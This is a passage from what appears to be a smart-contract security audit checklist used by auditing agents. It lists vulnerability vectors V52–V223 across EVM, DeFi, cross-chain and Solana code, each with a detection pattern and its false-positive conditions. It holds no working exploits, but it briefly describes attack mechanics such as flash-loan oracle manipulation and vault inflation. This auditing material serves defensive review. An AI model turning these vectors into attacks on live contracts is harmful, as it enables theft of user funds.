Monotonic per-signer nonce. `usedSignatures` mapping. **V52. Single-Function Reentrancy** — D: External call before state update — check-external-effect instead of CEI. FP: State updated before call. `nonReentrant` modifier. **V53. Diamond Proxy Cross-Facet Storage Collision** — D: EIP-2535 facets declare storage without EIP-7201 namespaced storage. Multiple facets write same slots. FP: All facets use single `DiamondStorage` struct at namespaced position. **V54. Force-Feeding ETH via selfdestruct/Coinbase/CREATE2** — D: Contract uses `address(this).balance` for accounting or gates on exact balance. Force-fed ETH breaks invariants. FP: Internal accounting only (`totalDeposited` state variable). **V55. Wrong Price Feed for Derivative/Wrapped Asset** — D: Protocol uses ETH/USD feed to price stETH collateral. During depeg, mispricing enables undercollateralized borrows. FP: Dedicated feed for the derivative asset. **V56. ERC4626 Preview Rounding Direction Violation** — D: `previewDeposit` returns more shares than `deposit` mints. Wrong `Math.mulDiv` rounding direction. FP: OZ ERC4626 without overriding conversion functions. **V57. Block Number as Timestamp Approximation** — D: Time computed as `(block.number - startBlock) * 13`. Variable across chains. FP: `block.timestamp` used for all time-sensitive calculations. **V58. Transparent Proxy Admin Routing Confusion** — D: Admin address used for regular protocol interactions. Calls from admin silently fail. FP: Dedicated `ProxyAdmin` contract. **V59. Cross-Chain Address Ownership Variance** — D: Same address has different owners on different chains. Cross-chain logic assumes same address = same owner. FP: `CREATE2`-deployed contracts with same factory + salt. **V60. Read-Only Reentrancy** — D: Protocol calls `view` function on external contract within a callback. View functions return transitional/manipulated value mid-execution. FP: External view functions are `nonReentrant`. TWAP used instead. **V61. Bytecode Verification Mismatch** — D: Verified source doesn't match deployed bytecode. Different compiler settings or obfuscated constructor args. FP: Deterministic build with pinned compiler. Sourcify full match. **V62. Scratch Space Corruption Across Assembly Blocks** — D: Scratch space (`0x00`–`0x3f`) written in one assembly block expected to persist across intervening Solidity code that overwrites it. FP: All reads occur within same contiguous assembly block. **V63. ERC1155 Custom Burn Without Caller Authorization** — D: Public `burn(address from, uint256 id, uint256 amount)` callable by anyone without verifying authorization. FP: `require(from == msg.sender || isApprovedForAll(from, msg.sender))`. **V64. ERC721 Unsafe Transfer to Non-Receiver** — D: `_transfer()`/`_mint()` used instead of `_safeTransfer()`/`_safeMint()`. NFTs locked in non-receiver contracts. FP: All paths use `safeTransferFrom`/`_safeMint`. **V65. ERC1155 Fungible/Non-Fungible Token ID Collision** — D: ERC1155 with no enforcement preventing additional copies of supply-1 IDs. FP: `require(totalSupply(id) + amount <= maxSupply(id))`. **V66. ERC4626 Deposit/Withdraw Share-Count Asymmetry** — D: `_convertToShares` uses `Rounding.Floor` for both deposit and withdraw. FP: `deposit` uses `Floor`, `withdraw` uses `Ceil`. **V67. ERC4626 Mint/Redeem Asset-Cost Asymmetry** — D: `redeem(s)` returns more assets than `mint(s)` costs — cycling yields profit. FP: `redeem` uses `Floor`, `mint` uses `Ceil`. **V68. ERC1155 Batch Transfer Partial-State Callback Window** — D: Custom batch mint updates and calls callback per ID in loop instead of committing all first. FP: All updates committed before any callback (OZ pattern). **V69. Chainlink Staleness/No Validity Checks** — D: `latestRoundData()` called without: `answer > 0`, `updatedAt > block.timestamp - MAX_STALENESS`, `answeredInRound >= roundId`, fallback. FP: All four checks present. **V70. Unsafe Downcast/Integer Truncation** — D: `uint128(largeUint256)` without bounds check. Solidity >= 0.8 silently truncates on downcast. FP: `require(x <= type(uint128).max)`. OZ `SafeCast` used. **V71. Missing enforcedOptions — Insufficient Gas for lzReceive** — D: OApp does not call `setEnforcedOptions()` to mandate minimum gas. User-supplied options specify insufficient gas. FP: `enforcedOptions` configured with tested gas limits. **V72. Nonce Gap from Reverted Transactions** — D: Deployment script uses `CREATE` and pre-computes addresses from deployer nonce. Reverted tx advances nonce. FP: `CREATE2` used. Addresses from deployment receipts. **V73. Fee-on-Transfer Token Accounting** — D: Deposit records `deposits[user] += amount` then `transferFrom(..., amount)`. Contract receives less than recorded. FP: Balance measured before/after transfer. `received` used for accounting. **V74. Assembly Delegatecall Missing Return/Revert Propagation** — D: Proxy fallback omits copying return data or branching on result. Silent failures. FP: Complete proxy pattern with `returndatacopy` and `switch`. OZ Proxy.sol. **V75. Merkle Tree Second Preimage Attack** — D: `MerkleProof.verify` where leaf derived without double-hashing. 64-byte input passes as intermediate node. FP: Leaves double-hashed. OZ MerkleProof >= v4.9.2. **V76. Dirty Higher-Order Bits on Sub-256-Bit Types** — D: Assembly loads full 32-byte word but treats as smaller type without masking upper bits. FP: Explicit bitmask applied immediately after load. **V77. Griefing via Dust Deposits Resetting Timelocks** — D: Timelock resets on any deposit with no minimum. Attacker calls `deposit(1)` to reset victim's lock. FP: Minimum deposit enforced. Lock assessed independently. **V78. Returndatasize-as-Zero Assumption** — D: Assembly uses `returndatasize()` as gas-cheap substitute for `push 0`. Prior external call made it nonzero. FP: Used only at very start before any external calls. **V79. tx.origin Authentication** — D: `require(tx.origin == owner)` used for auth. Phishable via intermediary contract. FP: `tx.origin == msg.sender` as anti-contract check only. **V80. ERC20 Non-Compliant Return Values/Events** — D: Custom `transfer()`/`transferFrom()` doesn't return `bool` or always returns `true` on failure. FP: OZ `ERC20.sol` base with no custom overrides. **V81. ERC721Enumerable Index Corruption on Burn/Transfer** — D: Override of `_beforeTokenTransfer` without calling `super`. Index structures become stale. FP: Override always calls `super` as first statement. **V82. Block Stuffing/Gas Griefing** — D: Time-sensitive function blockable by filling blocks. FP: Window long enough that stuffing is economically infeasible. **V83. ERC777 tokensToSend/tokensReceived Reentrancy** — D: Token transfer before state updates on ERC777-compatible token. Hooks fire on ERC20-style calls. FP: CEI. `nonReentrant`. Token whitelist excludes ERC777. **V84. Rebasing/Elastic Supply Token Accounting** — D: Contract caches `balanceOf(this)` for rebasing tokens. After rebase, cached value diverges. FP: Rebasing tokens blocked. Wrapper tokens (wstETH) used. --- ## Agent 3 Vectors (V85–V126): DoS + Economic + Flash Loan + Cross-Chain --- **V85. Assembly Arithmetic Silent Overflow and Division-by-Zero** — D: Arithmetic inside `assembly {}` wraps like `unchecked` and `div` by zero returns 0. FP: Manual overflow checks in assembly. Denominator checked before `div`. **V86. Flash Loan-Assisted Price Manipulation** — D: Function reads price from on-chain source manipulable atomically via flash loan. FP: TWAP >= 30min. Multi-block cooldown. **V87. Non-Standard Approve Behavior** — D: USDT-style `approve()` reverts when changing non-zero to non-zero. Some tokens revert on `approve(type(uint256).max)`. FP: OZ `SafeERC20.forceApprove()` or `safeIncreaseAllowance()` used. **V88. Missing Chain ID Validation in Deployment** — D: Deploy script reads `$RPC_URL` without `eth_chainId` assertion. FP: `require(block.chainid == expectedChainId)` at script start. **V89. Array delete Leaves Zero-Value Gap** — D: `delete array[index]` resets element to zero but doesn't shrink array. Iteration treats zero as valid. FP: Swap-and-pop pattern used. **V90. Governance Flash-Loan Upgrade Hijack** — D: Proxy upgrades via current-block vote weight. No timelock. Flash-borrow, vote, execute upgrade in one tx. FP: `getPastVotes(block.number - 1)`. Timelock 24-72h. **V91. Write to Arbitrary Storage Location** — D: `sstore(slot, value)` where `slot` derived from user input without bounds. FP: Assembly is read-only. Solidity >= 0.6. **V92. Insufficient Return Data Length Validation** — D: Assembly `staticcall` writes to fixed buffer then reads without checking `returndatasize() >= 32`. FP: `if lt(returndatasize(), 32) { revert(0,0) }` checked. **V93. Chainlink Feed Deprecation/Wrong Decimal Assumption** — D: Chainlink aggregator hardcoded/immutable with no update path. Assumes `feed.decimals() == 8`. FP: Feed address updatable. `feed.decimals()` called and used. **V94. Upgrade Race Condition/Front-Running** — D: `upgradeTo(V2)` and config calls are separate txs in public mempool. FP: `upgradeToAndCall()` bundles upgrade + init. Private mempool. **V95. Missing/Expired Deadline on Swaps** — D: `deadline = block.timestamp` (always valid) or `type(uint256).max`. FP: Deadline is calldata parameter not derived from `block.timestamp`. **V96. Deployment Transaction Front-Running** — D: Deployment tx in public mempool. Attacker extracts bytecode and deploys first. FP: Private relay. Owner passed as constructor arg. **V97. Duplicate Items in User-Supplied Array** — D: Function accepts array without duplicate check. User passes same ID multiple times claiming repeatedly. FP: Duplicate check via mapping. Sorted-unique enforced. **V98. Transient Storage Low-Gas Reentrancy (EIP-1153)** — D: Contract uses `transfer()` (2300-gas) as reentrancy guard + `TSTORE`/`TLOAD`. Post-Cancun, `TSTORE` succeeds under 2300 gas. FP: `nonReentrant` backed by regular storage slot. **V99. Calldataload Out-of-Bounds Read** — D: `calldataload(offset)` where offset exceeds actual calldata length. Returns zero-padded bytes silently. FP: `calldatasize()` validated before assembly block. **V100. Banned Opcode in Validation Phase** — D: `validateUserOp` references `block.timestamp`, `block.number`, `block.coinbase`. Per ERC-7562, banned in validation. FP: Banned opcodes only in execution phase. **V101. Deployer Privilege Retention Post-Deployment** — D: Deployer EOA retains owner/admin/minter after deployment. FP: Script includes `transferOwnership(multisig)`. **V102. Non-Atomic Multi-Contract Deployment** — D: Interdependent contracts deployed across separate transactions. Midway failure leaves half-deployed state. FP: Single broadcast block. Factory deploys+wires all in one tx. **V103. CREATE/CREATE2 Deployment Failure Silently Returns Zero** — D: Assembly `create`/`create2` returns `address(0)` on failure but code doesn't check. FP: `if iszero(addr) { revert(0, 0) }` after create. **V104. ERC721/ERC1155 Type Confusion in Dual-Standard Marketplace** — D: Shared `buy` function accepts `quantity` for ERC721 without requiring == 1. `price * quantity` with `quantity = 0` yields zero payment. FP: ERC721 branch `require(quantity == 1)`. **V105. Cross-Contract Reentrancy** — D: Two contracts share logical state. A makes external call before syncing state B reads. A's `ReentrancyGuard` doesn't protect B. FP: State synchronized before A's call. **V106. Non-Atomic Proxy Initialization** — D: Proxy deployed in one tx, `initialize()` in separate tx. Front-runnable. FP: Proxy constructor receives init calldata atomically. **V107. EIP-2981 Royalty Signaled But Never Enforced** — D: `royaltyInfo()` implemented but transfer logic never calls it. FP: Settlement contract reads `royaltyInfo()` and transfers royalty. **V108. Paymaster Gas Penalty Undercalculation** — D: Paymaster prefund formula omits 10% penalty on unused execution gas. FP: Prefund explicitly adds unused-gas penalty. **V109. ERC721 Approval Not Cleared in Custom Transfer** — D: Custom `transferFrom` override skips `super._transfer()`, missing approval clear. FP: Override calls `super.transferFrom`. **V110. DoS via Push Payment to Rejecting Contract** — D: ETH distribution in loop via `recipient.call{value:}("")`. Any reverting recipient blocks loop. FP: Pull-over-push pattern. Loop uses `try/catch`. **V111. Weak On-Chain Randomness** — D: Randomness from `block.prevrandao`, `blockhash`, `block.timestamp`. Validator-influenceable. FP: Chainlink VRF v2+. **V112. Delegatecall to Untrusted Callee** — D: `address(target).delegatecall(data)` where `target` is user-provided. FP: `target` is hardcoded immutable. **V113. UUPS _authorizeUpgrade Missing Access Control** — D: `function _authorizeUpgrade(address) internal override {}` with empty body. Anyone can upgrade. FP: Has `onlyOwner`. **V114. Insufficient Block Confirmations/Reorg Double-Spend** — D: DVN relays message before source chain finality. Attacker reverses deposit via reorg. FP: Confirmation count matches finality guarantees. **V115. Nested Mapping Inside Struct Not Cleared on delete** — D: `delete myMapping[key]` on struct containing `mapping`. `delete` zeroes primitives but not nested mappings. FP: Nested mapping manually cleared. **V116. ERC721A Lazy Ownership — ownerOf Uninitialized** — D: Batch mint only writes ownership for first token. Mid-batch IDs return `address(0)`. FP: Explicit transfer initializes before ownership check. **V117. Cross-Chain Message Spoofing** — D: Receiver accepts messages without verifying `msg.sender == endpoint` and `_origin.sender == registeredPeer`. FP: `onlyPeer` modifier validates both. **V118. Proxy Admin Key Compromise** — D: `ProxyAdmin.owner()` returns EOA, not multisig. No timelock on `upgradeTo`. FP: Multisig + timelock. **V119. Unauthorized Peer Initialization (Fake Peer Attack)** — D: `setPeer()` lacks proper access control. Attacker registers fraudulent peer. FP: `setPeer` protected by multisig + timelock. **V120. Rounding in Favor of the User** — D: `shares = assets / pricePerShare` rounds down for deposit but up for redeem. FP: `Math.mulDiv` with explicit vault-favorable rounding. Dead shares at init. **V121. Arbitrary External Call with User-Supplied Target** — D: `target.call{value: v}(data)` where `target` or `data` are caller-supplied. Attacker crafts calldata to steal assets. FP: Target restricted to whitelisted address. **V122. Paymaster ERC-20 Payment Deferred to postOp** — D: `validatePaymasterUserOp` doesn't transfer tokens — deferred to `postOp`. User revokes allowance between steps. FP: Tokens transferred during validation. **V123. Minimal Proxy (EIP-1167) Implementation Destruction** — D: EIP-1167 clones `delegatecall` a fixed implementation. If implementation destroyed, all clones locked. FP: No `selfdestruct`. Post-Dencun: code not destroyed. **V124. Spot Price Oracle from AMM** — D: Price from AMM reserves: `reserve0 / reserve1`. Flash-loan exploitable. FP: TWAP >= 30 min. Chainlink/Pyth as primary source. **V125. Missing Slippage Protection (Sandwich Attack)** — D: Swap with `minAmountOut = 0`, or computed on-chain from manipulable source. FP: `minAmountOut` set off-chain by user. **V126. NFT Staking Records msg.sender Instead of ownerOf** — D: `depositor[tokenId] = msg.sender` without checking `nft.ownerOf(tokenId)`. Operator credited instead of owner. FP: `nft.ownerOf(tokenId)` read and recorded. --- ## Agent 4 Vectors (V127–V170): Signature + Encoding + Assembly + Protocol-Specific --- **V127. Missing chainId (Cross-Chain Replay)** — D: Signed payload omits `chainId`. Replayable on forks/other chains. FP: EIP-712 domain separator includes dynamic `block.chainid`. **V128. Non-Standard ERC20 Return Values (USDT-style)** — D: `require(token.transfer(to, amount))` reverts on tokens returning nothing. FP: OZ `SafeERC20.safeTransfer()` used. **V129. Front-Running Zero Balance Check with Dust** — D: `require(token.balanceOf(address(this)) == 0)` gates state. Dust transfer DoS. FP: Threshold check instead of `== 0`. **V130. Diamond Proxy Facet Selector Collision** — D: Two facets register same 4-byte selector. Malicious facet hijacks calls. FP: `diamondCut` validates no collisions. **V131. Flash Loan Governance Attack** — D: Voting uses `token.balanceOf(msg.sender)` or current-block snapshot. FP: `getPastVotes(block.number - 1)`. Timelock between snapshot and vote. **V132. Hardcoded Network-Specific Addresses** — D: Literal `address(0x...)` constants for external dependencies. Wrong on different chains. FP: Per-chain config keyed by chain ID. **V133. ERC4626 Round-Trip Profit Extraction** — D: `redeem(deposit(a)) > a` from rounding errors favoring user. FP: Rounding per EIP-4626 spec. OZ ERC4626 with `_decimalsOffset()`. **V134. ERC1155 ID-Based Role Access Control with Mintable Role Tokens** — D: Access control via `balanceOf(msg.sender, ROLE_ID)` where `mint` for role IDs ungated. FP: Minting role-token IDs gated. Role tokens non-transferable. **V135. Off-By-One in Bounds/Range Checks** — D: `i <= arr.length` in loop (OOB). `>= vs >` confusion in financial logic. FP: Loop uses `<` with fixed-length array. **V136. ERC4626 Caller-Dependent Conversion Functions** — D: `convertToShares()` branches on `msg.sender`-specific state. EIP-4626 requires caller-independence. FP: Implementation reads only global vault state. **V137. Multi-Block TWAP Oracle Manipulation** — D: TWAP window < 30 minutes. Post-Merge validators can hold manipulated state across blocks. FP: TWAP >= 30 min. Chainlink as price source. **V138. Merkle Proof Reuse — Leaf Not Bound to Caller** — D: Merkle leaf doesn't include `msg.sender`. Proof front-runnable. FP: Leaf encodes `msg.sender`. Proof recorded as consumed. **V139. Uninitialized Implementation Takeover** — D: Implementation behind proxy has `initialize()` but constructor lacks `_disableInitializers()`. FP: Constructor contains `_disableInitializers()`. **V140. Missing chainId/Message Uniqueness in Bridge** — D: Bridge processes messages without replay check or chain ID validation. FP: Unique nonce per sender. Hash includes source/dest chain. **V141. Missing Oracle Price Bounds** — D: Oracle returns extreme price (flash crash). No min/max sanity bound. FP: Circuit breaker with MIN/MAX. Deviation check against secondary oracle. **V142. DVN Collusion/Insufficient Diversity** — D: OApp with single DVN (`1/1/1` security stack). FP: Diverse DVN set with `2/3+` threshold. Independent verification methods. **V143. Missing Cross-Chain Rate Limits/Circuit Breakers** — D: Bridge has no per-transaction or time-window caps. Single exploit drains everything. FP: Per-tx and per-window rate limits. `whenNotPaused`. Guardian multisig. **V144. Staking Reward Front-Run by New Depositor** — D: Reward checkpoint updated AFTER new stake recorded. New staker earns rewards for unstaked period. FP: `updateReward(account)` executes before any balance update. **V145. L2 Sequencer Uptime Not Checked** — D: L2 contract uses Chainlink feeds without querying Sequencer Uptime Feed. Stale data during downtime. FP: Sequencer uptime feed queried with grace period. **V146. Insufficient Gas Forwarding / 63/64 Rule** — D: External call without minimum gas budget. 63/64 rule leaves subcall with insufficient gas. FP: `require(gasleft() >= minGas)` before subcall. **V147. Accrued Interest Omitted from Health Factor** — D: Health factor computed from principal debt without accrued interest. Delays liquidations. FP: `getDebt()` includes accrued interest. **V148. ERC1155 setApprovalForAll Grants All-Token Access** — D: Protocol requires `setApprovalForAll` for deposits. No per-ID granularity. FP: Protocol uses direct `safeTransferFrom` with user as `msg.sender`. **V149. Storage Layout Collision Between Proxy and Implementation** — D: Proxy declares state variables at sequential slots. Implementation also starts at slot 0. FP: EIP-1967 slots. OZ Transparent/UUPS pattern. **V150. validateUserOp Missing EntryPoint Caller Restriction** — D: `validateUserOp` is `public`/`external` without `require(msg.sender == entryPoint)`. FP: `onlyEntryPoint` modifier present. **V151. Diamond Shared-Storage Cross-Facet Corruption** — D: EIP-2535 facets declare top-level state variables. Multiple facets corrupt slot 0. FP: All facets use namespaced storage (EIP-7201). **V152. Stale Cached ERC20 Balance from Direct Transfers** — D: Contract tracks holdings in state variable updated only through protocol functions. Direct `token.transfer` inflates real balance. FP: Accounting reads `balanceOf(this)` live. Cached value reconciled. **V153. Cross-Function Reentrancy** — D: Two functions share state. Function A makes external call before updating; Function B reads that state. FP: Both share same contract-level mutex. **V154. Slippage Enforced at Intermediate Step, Not Final Output** — D: Multi-hop swap checks `minAmountOut` on first hop but not final output. FP: `minAmountOut` validated against final received balance. **V155. Non-Atomic Proxy Deployment Enabling CPIMP Takeover** — D: Non-atomic deploy+init. Attacker inserts malicious middleman implementation. FP: Atomic init calldata in constructor. `_disableInitializers()`. **V156. Cross-Chain Reentrancy via Safe Transfer Callbacks** — D: Cross-chain receive calls `_safeMint` before updating supply counters. Callback re-enters for duplicate tokens. FP: State updates before safe transfer. `nonReentrant`. `_mint` instead of `_safeMint`. **V157. abi.encodePacked Hash Collision with Dynamic Types** — D: `keccak256(abi.encodePacked(a, b))` with two+ dynamic types. No length prefix → collision. FP: `abi.encode()` used. Only one dynamic type. **V158. Signed Integer Mishandling (signextend/sar/slt)** — D: Assembly uses unsigned opcodes for signed integers. `shr` instead of `sar`. `lt` instead of `slt`. FP: Consistently uses `sar`/`slt`/`sgt`. `signextend` applied. **V159. Missing _debit Authorization in OFT** — D: Custom OFT `_debit` omits authorization check. Anyone can bridge tokens from any holder. FP: Standard LayerZero OFT. `_debit` only callable via `send()`. **V160. Default Message Library Hijack** — D: OApp relies on endpoint's mutable default library without pinning. Compromised default silently applies to all unpinned OApps. FP: OApp explicitly sets library versions. **V161. ERC-1271 isValidSignature Delegated to Untrusted Module** — D: `isValidSignature` delegated to externally-supplied contract without whitelist. Always returns valid. FP: Delegation only to owner-controlled whitelist. **V162. Proxy Storage Slot Collision** — D: Proxy stores `implementation`/`admin` at sequential slots 0,1. Implementation also writes from slot 0. FP: EIP-1967 randomized slots. **V163. Counterfactual Wallet Initialization Parameters Not Bound** — D: Factory `createAccount` salt doesn't incorporate all init params. Attacker deploys wallet they control to user's address. FP: Salt derived from all init params. **V164. Oracle Price Update Front-Running** — D: On-chain oracle update tx visible in mempool. Attacker front-runs favorable update. FP: Pull-based oracle. Private mempool. **V165. Metamorphic Contract via CREATE2 + SELFDESTRUCT** — D: `CREATE2` where deployer can `selfdestruct` and redeploy different bytecode. Post-Dencun: largely mitigated. FP: Post-Dencun. Not deployed via `CREATE2` from mutable deployer. **V166. Free Memory Pointer Corruption** — D: Assembly writes to memory at fixed offsets without updating free memory pointer at `0x40`. Subsequent Solidity code overwrites assembly data. FP: Assembly reads `mload(0x40)`, writes above, updates pointer. **V167. ERC4626 Inflation Attack (First Depositor)** — D: `shares = assets * totalSupply / totalAssets`. When `totalSupply == 0`, deposit 1 wei + donate inflates share price. FP: OZ ERC4626 with `_decimalsOffset()`. Dead shares. **V168. Storage Layout Shift on Upgrade** — D: V2 inserts new state variable in middle. Subsequent variables shift slots. FP: New variables only appended. OZ storage layout validation. **V169. Hardcoded Calldataload Offset Bypass** — D: Assembly reads field at hardcoded offset assuming standard ABI layout. Non-canonical encoding bypasses. FP: `abi.decode()` used. No hardcoded offsets. **V170. Calldata Input Malleability** — D: Contract hashes raw calldata for uniqueness. Dynamic-type ABI encoding ambiguity bypasses dedup. FP: Uniqueness check hashes decoded parameters. Nonce-based replay protection. --- ## Agent 5 Vectors (V171–V210): Extended EVM — DeFi Lending, L2, Staking, Behavioral _Sourced from solidity-auditor-skills. These vectors cover deep DeFi protocol patterns, L2-specific issues, and behavioral vulnerabilities not covered by V1-V170._ --- **V171. L2 Sequencer Grace Period Missing** — D: On L2 chains, when sequencer restarts after downtime, contracts immediately liquidate positions without grace period. Users solvent before downtime get unfairly liquidated. FP: Explicit grace period after sequencer restart. L1-only deployment. Chainlink L2 Sequencer Uptime Feed with grace window. **V172. Liquidation Incentive Insufficient for Dust Positions** — D: Liquidation reward (bonus %) doesn't cover gas for small positions. No one profitably liquidates, leading to bad debt accumulation. FP: Minimum position size enforced at borrow. Protocol-operated liquidation bot. Dynamic incentive scaled to position. **V173. Collateral Withdrawal While Position Underwater** — D: User withdraws partial collateral even when position is underwater, as long as specific collateral's PNL is positive. Removes liquidation incentive. FP: Withdrawal blocked when overall health factor < 1. **V174. Dust Loan Griefing (Minimum Loan Size Bypass)** — D: Attacker creates many tiny loans individually too small to profitably liquidate. Gas cost > recovered value, accumulating bad debt. FP: `require(borrowAmount >= MIN_BORROW)`. Batch liquidation mechanism. **V175. Unfair Liquidation via Cherry-Picked Collateral** — D: Liquidator selects most liquid/stable collateral, leaving volatile collateral. Position becomes unhealthier post-liquidation. FP: Collateral seizure follows defined priority. `healthFactorAfter > healthFactorBefore` enforced. **V176. Interest Accrual During Emergency Pause** — D: Admin pauses repayments but interest continues accruing. Debt grows, forcing liquidation of positions healthy before pause. FP: Pause halts interest accrual. Symmetric pause. Grace period after unpause. **V177. Repayment Paused While Liquidation Active** — D: Admin pauses repayments but liquidations remain active. Asymmetric freeze benefits protocol at user expense. FP: Synchronized pause (repay + liquidate together). **V178. Liquidation Leaves Borrower Unhealthier** — D: After partial liquidation, health factor is lower than before due to incorrect close factor or bonus exceeding surplus. FP: `require(healthAfter >= healthBefore || healthAfter >= 1)`. Full liquidation when partial worsens. **V179. No LTV Gap Between Borrow and Liquidation Threshold** — D: Liquidation threshold equals max borrow LTV. Positions immediately liquidatable with zero buffer. FP: Explicit gap (e.g., borrow 75%, liquidate 80%). Per-asset configurable thresholds. **V180. First Depositor Reward Stealing (Staking)** — D: First depositor front-runs initial reward distribution with 1-wei deposit, capturing 100% of initial rewards. FP: Minimum stake amount. Admin initial deposit. Time-weighted reward calculation. **V181. Reward Dilution via Direct Token Transfer** — D: Attacker transfers staking tokens directly (bypassing `stake()`), inflating `totalSupply` in balance-based calculations. Dilutes legitimate stakers. FP: Separate `totalStaked` variable via `stake()`/`unstake()` only. **V182. Flash Deposit/Withdraw Reward Griefing** — D: Large deposit right before reward distribution dilutes per-token rate. Withdraw immediately after. FP: Minimum stake duration. Time-weighted rewards. `require(block.number > depositBlock)`. **V183. Stale Reward Index After Distribution** — D: Reward distribution updates pool but not `rewardPerTokenStored`. Stale index causes incorrect rewards for all users. FP: `updateReward()` in all reward-distributing functions. **V184. Balance Caching Issues During Reward Claims** — D: Claiming reads balance, performs transfer, uses cached balance for further calculations. Reentrancy risk. FP: `nonReentrant`. CEI pattern. Balance read after transfer. **V185. Liquidation Bonus Exceeds Available Collateral** — D: Fixed bonus exceeds actual collateral when deeply underwater. Liquidation reverts, leaving bad debt stuck. FP: Dynamic bonus capped at available: `min(bonus, availableCollateral)`. **V186. Incorrect Decimal Handling in Multi-Token Liquidations** — D: Liquidation assumes 18 decimals but collateral/debt differ (USDC=6, WETH=18). Order-of-magnitude errors. FP: Per-token `decimals()` normalization. **V187. Interest Accrual During Liquidation Auction** — D: During auction, debt keeps accruing interest. Long auctions make proceeds insufficient. FP: Interest frozen at auction start. Auction bounded. **V188. No Liquidation Slippage Protection** — D: Liquidator calls `liquidate()` without `minCollateralReceived`. MEV sandwiches the tx. FP: `minCollateralReceived` parameter. Private mempool. **V189. L2 Sequencer Downtime in Interest Accrual** — D: Interest uses `block.timestamp` delta without accounting for sequencer downtime. Post-restart block has massive gap. FP: Capped `maxTimeDelta`. Sequencer uptime checked. **V190. Precision Loss in Reward-to-Token Conversion** — D: `rewardRate * timeElapsed / totalStaked` where small stakes produce zero. FP: Scaling factor (1e18). Minimum stake above precision threshold. **V191. Time Unit Confusion in Interest Calculations** — D: `block.timestamp` (seconds) in formula expecting days/blocks. Interest rates off by orders of magnitude. FP: Documented `SECONDS_PER_YEAR` constant. Unit tests. **V192. Oracle Manipulation via Self-Liquidation** — D: Manipulate oracle via flash loan, self-liquidate at manipulated price. Profitable when manipulation cost < bonus. FP: TWAP > manipulation cost. Self-liquidation blocked. **V193. On-Chain Quoter-Based Slippage Calculation** — D: `minAmountOut` calculated from current spot price. Flash loan manipulates spot before tx. FP: `minAmountOut` supplied as calldata from off-chain. **V194. Fixed Fee Tier Assumption in Multi-Pool DEX** — D: Router hardcodes fee tier but liquidity migrates. Swaps against low-liquidity pool. FP: Fee tier as parameter. Router queries multiple tiers. **V195. Multi-Hop Swap Intermediate-Only Protection** — D: Multi-hop protects intermediate amount but not final output. MEV on final hop. FP: `minFinalAmountOut` validated against balance delta. **V196. block.timestamp as Swap Deadline** — D: `deadline = block.timestamp` always satisfied. Tx held indefinitely. FP: Deadline from calldata (e.g., `now + 300s`). Private mempool. **V197. Zero minAmountOut on DEX Swap** — D: Hardcoded zero minimum output. Unprotected from MEV/sandwich. FP: `minAmountOut` from oracle or caller parameter. **V198. Transient Storage Reentrancy Guard in Delegatecall Context** — D: `TSTORE`/`TLOAD` guard in delegatecall proxy. Transient storage is per-address — shared across facets. One facet's guard doesn't protect reentry into another. FP: Shared transient slot across all facets. Regular storage guard. **V199. Uniswap V4 Hook Callback Authorization** — D: Hook callbacks don't validate `msg.sender == poolManager`. Anyone calls hooks directly. FP: `onlyPoolManager` modifier. `BaseHook` from V4 periphery. **V200. Uniswap V4 Cached State Desynchronization** — D: Hook caches pool state in `beforeSwap` but state changes during swap. `afterSwap` reads stale values. FP: State re-read in `afterSwap`. No cross-hook state dependency. **V201. Custom Access Control Without Two-Step Transfer** — D: Single-step `setOwner(newOwner)`. Typo permanently locks admin. FP: OZ `Ownable2Step`. Multisig. Timelock with cancel. **V202. Inconsistent Pausable Coverage** — D: `whenNotPaused` applied inconsistently. Some fund-moving ops lack protection. FP: All state-changing functions paused. Intentional exceptions documented. **V203. OpenZeppelin v4 vs v5 Hook Confusion** — D: Override `_beforeTokenTransfer` (v4) while importing v5 (uses `_update`). Override silently never executes. FP: OZ version consistency confirmed. **V204. Approval to Arbitrary User-Supplied Address** — D: Router approves `MAX_UINT` to user-supplied `pool` address without allowlist. Attacker drains via `transferFrom`. FP: Pool validated against factory. Approval limited to exact amount. **V205. External Call Failure DoS in Batch Operations** — D: Batch reverts entirely if one call fails. Blacklisted address blocks all users. FP: Per-item `try/catch`. Pull-over-push. Failed items queued. **V206. Storage Bloat Attack (Unbounded Growth)** — D: Attacker fills user-controlled arrays without economic limits. Functions iterating hit gas limit. FP: Array bounded. Economic deterrent. Pagination. **V207. Timestamp Griefing (Lock Period Reset by Third Party)** — D: Anyone can `deposit(victim, 1 wei)` resetting victim's lock timer. FP: Lock only updatable by locked user. `max(existing, new)` pattern. **V208. Self-Destruct Force-Feed Breaking Strict Equality** — D: `require(balance == expected)` broken by force-fed ETH. FP: Internal accounting. `>=` comparisons. **V209. Inconsistent Guard Coverage Across Equivalent Functions** — D: `transfer` has guard but `transferFrom` doesn't. Attacker uses unguarded variant. FP: Shared internal function with guards. Modifier applied uniformly. **V210. Missing Initialization of Inherited State in Upgradeable** — D: `__Ownable_init()` called but `__ReentrancyGuard_init()` forgotten. Guard state is 0 (uninitialized). FP: All `__*_init()` called. Tests verify post-deployment state. --- ## Agent 6 Vectors (V211–V255): Chain-Specific — Solana / Move / TON / Cosmos / Cairo _These vectors are loaded from the corresponding `chain-deep-*.md` files. Only vectors matching the detected chain are actively scanned. See each chain-deep file for detection patterns, grep commands, and PoC templates._ --- ### Solana Vectors (V211–V225) _Full details in `chain-deep-solana.md`_ **V211. Missing Account Owner Check** — D: Account deserialized without owner validation. Attacker passes fake account. FP: Anchor `Account<'info, T>` auto-checks. **V212. PDA Bump Seed Canonicalization** — D: Non-canonical bump allows multiple valid PDAs. FP: Canonical bump stored and enforced. **V213. Missing Signer Check on Privileged Instruction** — D: Authority not marked as signer. FP: Anchor `Signer<'info>`. **V214. Account Resurrection After Close** — D: Closed account re-funded with crafted data. FP: Anchor `close` sets CLOSED discriminator. **V215. CPI Privilege Escalation via Signer Seeds** — D: Reconstructable signer seeds. FP: Program-specific salt in seeds. **V216. Account Data Realloc Overflow** — D: Realloc exceeds 10,240 bytes/instruction. FP: Size validated. Freed bytes zeroed. **V217. Token-2022 Transfer Hook Reentrancy** — D: Transfer hook reenters calling program. FP: State before transfer. Hook whitelisted. **V218. Duplicate Account Injection** — D: Same account in multiple positions = double-credit. FP: `source.key() != destination.key()`. **V219. Missing Rent Exemption Check** — D: Non-exempt account gets garbage collected. FP: Rent exemption enforced. **V220. Arithmetic Overflow in Release Mode** — D: Rust wraps in release. FP: `checked_*` arithmetic. **V221. Account Data Type Confusion** — D: Deserialized as wrong type. FP: 8-byte discriminator validated. **V222. Stale Account Data After CPI** — D: Pre-CPI data used after CPI modifies account. FP: `reload()` after CPI. **V223. Missing Instruction Introspection** — D: No validation of instruction sequence. 